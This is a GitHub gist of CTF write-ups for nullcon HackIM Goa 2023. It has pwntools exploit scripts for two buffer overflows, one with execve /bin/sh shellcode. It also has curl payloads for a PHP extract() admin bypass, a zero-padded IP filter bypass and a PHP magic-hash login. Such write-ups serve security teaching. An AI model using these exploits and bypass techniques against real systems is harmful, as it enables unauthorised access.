Skip to content

Instantly share code, notes, and snippets.

@shinmai
Last active August 20, 2023 08:26
Show Gist options
  • Save shinmai/b85b0befcb8f5871310be41efdfceea8 to your computer and use it in GitHub Desktop.
Save shinmai/b85b0befcb8f5871310be41efdfceea8 to your computer and use it in GitHub Desktop.
nullcon HackIM CTF Goa 2023 writeups

Babypwn

A simple BOF -> shellcode.

Solution script:

#!/usr/bin/env python3

from pwn import *

exe = ELF("babypwn")

context.binary = exe

host = args.HOST or '52.59.124.14'
port = int(args.PORT or 10020)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.REMOTE:
        return start_remote(argv, *a, **kw)
    else:
        return start_local(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================

r = process([exe.path])
bof = cyclic(666)
r.sendline(bof)
r.wait()
core = Coredump('./core')
offset = cyclic_find(core.fault_addr)
r.close()

r = start()
r.recvuntil(b'is at: ')
addr = int(r.recv(14),16)
r.recv()
shellcode = b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
r.sendline(fit({ 0: shellcode, offset: addr }))
r.recv()
r.sendline(b"cat flag.txt")

print(r.recvall(timeout=1).decode())
r.close()

ENO{Even_B4B1es_C4n_H4ck!}

Debugger

The relevant lines are

$is_admin = $_SERVER['REMOTE_ADDR'] == "127.0.0.0" ? 1 : 0;
$debug_info = get_debug_info(extract($_GET['filters']));
if($is_admin) {

extract() accepts and associative array and turns the keys into variables with the values as... well, values. So just pass an array as GET parameter filters:
curl "http://52.59.124.14:10018/?action=debug&filters\[is_admin\]=1" | grep ENO

ENO{N3ver_3xtract_ok?}

Heavens Flow

Simple BOF with a win function.

Solution script:

#!/usr/bin/env python3

from pwn import *

exe = ELF("heaven")

context.binary = exe

host = args.HOST or 'addr'
port = int(args.PORT or 1337)

def start_local(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return start_remote(argv, *a, **kw)
    else:
        return start_local(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================

r = process([exe.path])
bof = cyclic(666)
r.sendline(bof)
r.wait()
core = Coredump('./core')
offset = cyclic_find(core.fault_addr)
r.close()

r = start()
r.recv()
r.sendline(fit({ 0: b"\xf4", offset: exe.symbols.heavens_secret }))
print(r.recvall(timeout=1)[:-1].decode())
r.close()

IPfilter

The relevant lines are:

function is_bad_ip($ip) {
    if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $ip)) {
        // IP must be in X.Y.Z.Q format
        return true;
    }
[...]
    if($ip == $backend) {
        // Do not allow the backend with our secrets ;-)
        return true;

Testing with any IP gets you the backend server IP you need to provide.

IPfilter
IP: 8.8.8.8
Frontend: 192.168.112.3
Backend: 192.168.112.2
Subnet:192.168.112.0
Broadcast:192.168.112.255
With <3 from @gehaxelt

Bypassing the filter is easy because unlike the other checks, it just compares strings.
192.168.112.02 != 192.168.112.2 but obviously still resolves to the same machine.

curl "http://52.59.124.14:10019/?fetch_backend&debug_filter&bip=192.168.112.02" | grep ENO{

ENO{Another_Fl4G_something_IP_STuff!}

TYPicalboss

This is the classic /\de\d+/ PHP type-confusion bug with an SHA1 hash that sometimes gets incorrectly referred to as hash collision. There are many repositories onine with string-hash pairs to use, I picked mine from PayloadsAllTheThings.

curl 'http://52.59.124.14:10022/login.php' --data-raw 'username=admin&password=10932435112' --insecure -L -c /tmp/j | grep ENO{

ENO{m4ny_th1ng5_c4n_g0_wr0ng_1f_y0u_d0nt_ch3ck_typ35}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment